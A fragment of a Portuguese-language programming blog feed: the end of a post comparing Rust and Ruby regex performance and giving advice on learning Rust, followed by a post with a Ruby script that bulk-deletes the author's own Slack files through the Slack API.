    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Como eu suspeitava, a culpada era mesmo a biblioteca imatura de regex. Trocando pela pcre a implementação em Rust fica na menos que <strong>3.7</strong> vezes mais rápida que a em Ruby, que seria um tempo que deveríamos mesmo esperar de uma linguagem compilada!</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Rust atingiu sua versão 1.0 em Maio de 2015, ou seja, poucos dias atrás. Significa que muita coisa que você encontrar na Web, blogs, foruns, estarão defasados. Eu tive muita dificuldade em encontrar bons exemplos de código que funcionam na versão 1.0. Algumas structs mudaram de módulo. Alguns métodos estão com assinaturas diferentes e retornando coisas diferentes. A própria documentação oficial está com alguns erros ainda. Então tenha um pouco de paciência pois é a partir de agora com bons materiais vão começar a surgir.</p>
<p>Quem investiu tempo em aprender C/C++ (ou pelo menos Objective-C pré-ARC) não vai estranhar tanto assim o modelo de <a href="http://pcwalton.github.io/blog/2013/03/18/an-overview-of-memory-management-in-rust/"target="_blank" rel="noopener">gerenciamento de memória</a> do Rust. A idéia de ownership/borrowing não é tão diferente assim de um retain/release. Só que em vez de contar referências, você só pode &ldquo;emprestar&rdquo; uma vez. Além disso os valores são imutáveis, então é um modelo mais simples - embora mais difícil de se adaptar logo de cara. Especialmente importante é entender o modelo de <a href="http://words.steveklabnik.com/a-new-introduction-to-rust"target="_blank" rel="noopener">alocar no Stack</a> em vez de na Heap.</p>
<p>Também não há códigos de erro de retorno nem Exceptions. Aprender a lidar com o modelo de Pattern Matching em estruturas de Result/Option é outra mudança na forma de programar. Minha recomendação é abrir códigos fontes de terceiros como o próprio Cargo, para ver como são usados na prática.</p>
<p>Uma das coisas que não toquei neste artigo é seu excelente suporte a concorrência e paralelismo. Leia o exemplo do <a href="http://doc.rust-lang.org/book/dining-philosophers.html"target="_blank" rel="noopener">Dining Philosopher</a> e como o Rust resolve esse clássico problema. É bem simples mesmo entender.</p>
<p>Para quem acha que o mundo é orientado a objetos, Rust é mais uma linguagem que - embora tenha alguma semântica de objetos - não é orientado a objetos. Ele tem structs e funções associadas a structs. Entender o modelo de <a href="http://blog.rust-lang.org/2015/05/11/traits.html"target="_blank" rel="noopener">Traits</a> é crucial.</p>
<p>Rust é uma linguagem compilada, então toda vez que fizer algum código, existe o ciclo de compilar antes de executar, coisa que esquecemos como é no mundo Ruby ou Javascript. Mas a existência do Cargo facilita completamente esse fluxo e torna a experiência mil vezes mais agradável do que no mundo C, onde iríamos ter que mexer com Makefiles ou coisa similar. A organização padrão de projetos gerados pelo Cargo, empacotamentos em Crates e gerenciamento de dependências largamente inspirado no Bundler (que, aliás, todo mundo copia hoje em dia pois é o melhor modelo), ajuda muito ainda mais no começo.</p>
<p>Acompanhem o repositório no Github chamado <a href="https://github.com/kud1ing/awesome-rust"target="_blank" rel="noopener">Awesome Rust</a> que tem diversos links de projetos open source. Outro repositório é o <a href="https://github.com/ctjhoa/rust-learning"target="_blank" rel="noopener">Rust Learning</a> com links para várias documentações importantes para aprender. Existe já o rascunho de um <a href="http://aturon.github.io/README.html"target="_blank" rel="noopener">&ldquo;guideline de estilo&rdquo;</a>.</p>
<p>Finalmente, Rust não é uma linguagem simples, definitivamente nem um pouco perto de algo como Ruby ou mesmo Elixir. Ele é mais baixo nível e vejo aplicações para coisas em nível de sistema. Ferramentas de linha de comando pra Linux. Bibliotecas para processamento de imagens, processamento numérico. Coisas que possam ser consumidas por outras linguagens ou aplicações, como o exemplo de expor funcionalidades como extensions nativas para Rubygems. Nesse sentido ele é mais seguro em termos de gerenciamento de memória, e com performance de processamento comparável a C++. Então é uma boa chance para programadores de linguagens de alto nível como Ruby ou Swift conseguirem descer para o nível de sistema sem precisar perder a cabeça com a complexidade de C/C++.</p>
]]></content:encoded><category>rust</category><category>ruby</category><category>performance</category></item><item><title>[Small Bites] Brincando de Crawlers e algumas Dicas Úteis</title><link>https://akitaonrails.github.io/2015/05/15/small-bites-brincando-de-crawlers-e-algumas-dicas-uteis/</link><guid isPermaLink="true">https://akitaonrails.github.io/2015/05/15/small-bites-brincando-de-crawlers-e-algumas-dicas-uteis/</guid><pubDate>Fri, 15 May 2015 09:10:00 -0300</pubDate><description>&lt;p&gt;Eu queria fazer uma limpeza geral na minha conta do Slack (que já tinha mais do que o suficiente de imagens-memes entupindo o limite de armazenamento), o problema é que ele não tem um &amp;ldquo;marcar tudo&amp;rdquo; e &amp;ldquo;deletar tudo&amp;rdquo; na interface de administração, mas felizmente ele tem APIs!&lt;/p&gt;
&lt;p&gt;Então eu escrevi &lt;a href="https://gist.github.com/akitaonrails/38cbbc2c37a7c646fe27"target="_blank" rel="noopener"&gt;este pequeno script em Ruby&lt;/a&gt; que tem &lt;strong&gt;4 dicas&lt;/strong&gt; que vale a pena compartilhar:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rubygems&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;bundler/setup&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="no"&gt;Bundler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:default&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;typhoeus/adapters/faraday&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# documentations:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# https://api.slack.com/methods/files.list&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# https://api.slack.com/methods/files.delete&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;api_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;ENV&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;SLACK_API_TOKEN&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="nb"&gt;abort&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;no api token&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;per_page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;uri&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;/api/files.list?token=%s&amp;amp;ts_from=0&amp;amp;ts_to=now&amp;amp;types=all&amp;amp;count=%s&amp;amp;page=%s&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Faraday&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:url&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://slack.com/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;faraday&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;faraday&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="ss"&gt;:url_encoded&lt;/span&gt; &lt;span class="c1"&gt;# form-encode POST params&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;faraday&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="ss"&gt;:logger&lt;/span&gt; &lt;span class="c1"&gt;# log requests to STDOUT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;faraday&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt; &lt;span class="ss"&gt;:typhoeus&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;uri&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;api_token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;per_page&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;json&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Oj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;total_pages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;paging&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;pages&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;].&lt;/span&gt;&lt;span class="n"&gt;to_i&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;responses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;in_parallel&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;total_pages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;each&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;responses&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;uri&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;api_token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;per_page&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;files_ids&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;errors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="no"&gt;Parallel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;each&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;responses&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;in_threads&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;begin&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;json&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Oj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="no"&gt;Parallel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;each&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;files&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;in_threads&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;files_ids&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;rescue&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;errors&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;uri_delete&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://slack.com/api/files.delete?token=%s&amp;amp;file=%s&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;in_parallel&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;files_ids&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;each&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;file_id&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;responses&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;uri_delete&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;api_token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;file_id&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;responses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;map&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="no"&gt;Oj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ok&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Dica 1&lt;span class="hx:absolute hx:-mt-20" id="dica-1"&gt;&lt;/span&gt;
&lt;a href="#dica-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Mesmo em pequenos scripts, use &lt;a href="http://bundler.io/bundler_setup.html"target="_blank" rel="noopener"&gt;Bundler&lt;/a&gt;!&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu queria fazer uma limpeza geral na minha conta do Slack (que já tinha mais do que o suficiente de imagens-memes entupindo o limite de armazenamento), o problema é que ele não tem um &ldquo;marcar tudo&rdquo; e &ldquo;deletar tudo&rdquo; na interface de administração, mas felizmente ele tem APIs!</p>
<p>Então eu escrevi <a href="https://gist.github.com/akitaonrails/38cbbc2c37a7c646fe27"target="_blank" rel="noopener">este pequeno script em Ruby</a> que tem <strong>4 dicas</strong> que vale a pena compartilhar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="nb">require</span> <span class="s1">&#39;rubygems&#39;</span>
</span></span><span class="line"><span class="cl"><span class="nb">require</span> <span class="s1">&#39;bundler/setup&#39;</span>
</span></span><span class="line"><span class="cl"><span class="no">Bundler</span><span class="o">.</span><span class="n">require</span><span class="p">(</span><span class="ss">:default</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">require</span> <span class="s1">&#39;typhoeus/adapters/faraday&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># documentations:</span>
</span></span><span class="line"><span class="cl"><span class="c1"># https://api.slack.com/methods/files.list</span>
</span></span><span class="line"><span class="cl"><span class="c1"># https://api.slack.com/methods/files.delete</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">api_token</span> <span class="o">=</span> <span class="no">ENV</span><span class="o">[</span><span class="s1">&#39;SLACK_API_TOKEN&#39;</span><span class="o">]</span> <span class="ow">or</span> <span class="nb">abort</span> <span class="s2">&#34;no api token&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">per_page</span> <span class="o">=</span> <span class="mi">500</span>
</span></span><span class="line"><span class="cl"><span class="n">uri</span> <span class="o">=</span> <span class="s2">&#34;/api/files.list?token=%s&amp;ts_from=0&amp;ts_to=now&amp;types=all&amp;count=%s&amp;page=%s&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span> <span class="o">=</span> <span class="no">Faraday</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="ss">:url</span> <span class="o">=&gt;</span> <span class="s1">&#39;https://slack.com/&#39;</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">faraday</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">  <span class="n">faraday</span><span class="o">.</span><span class="n">request</span>  <span class="ss">:url_encoded</span>             <span class="c1"># form-encode POST params</span>
</span></span><span class="line"><span class="cl">  <span class="n">faraday</span><span class="o">.</span><span class="n">response</span> <span class="ss">:logger</span>                  <span class="c1"># log requests to STDOUT</span>
</span></span><span class="line"><span class="cl">  <span class="n">faraday</span><span class="o">.</span><span class="n">adapter</span>  <span class="ss">:typhoeus</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">get</span><span class="p">(</span> <span class="n">uri</span> <span class="o">%</span> <span class="o">[</span><span class="n">api_token</span><span class="p">,</span> <span class="n">per_page</span><span class="p">,</span> <span class="mi">1</span><span class="o">]</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">json</span> <span class="o">=</span> <span class="no">Oj</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">body</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">total_pages</span> <span class="o">=</span> <span class="n">json</span><span class="o">[</span><span class="s2">&#34;paging&#34;</span><span class="o">][</span><span class="s2">&#34;pages&#34;</span><span class="o">].</span><span class="n">to_i</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">responses</span> <span class="o">=</span> <span class="o">[]</span>
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">in_parallel</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">  <span class="p">(</span><span class="mi">1</span><span class="o">..</span><span class="n">total_pages</span><span class="p">)</span><span class="o">.</span><span class="n">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">page</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">    <span class="n">responses</span> <span class="o">&lt;&lt;</span> <span class="n">conn</span><span class="o">.</span><span class="n">get</span><span class="p">(</span> <span class="n">uri</span> <span class="o">%</span> <span class="o">[</span><span class="n">api_token</span><span class="p">,</span> <span class="n">per_page</span><span class="p">,</span> <span class="n">page</span><span class="o">]</span> <span class="p">)</span>
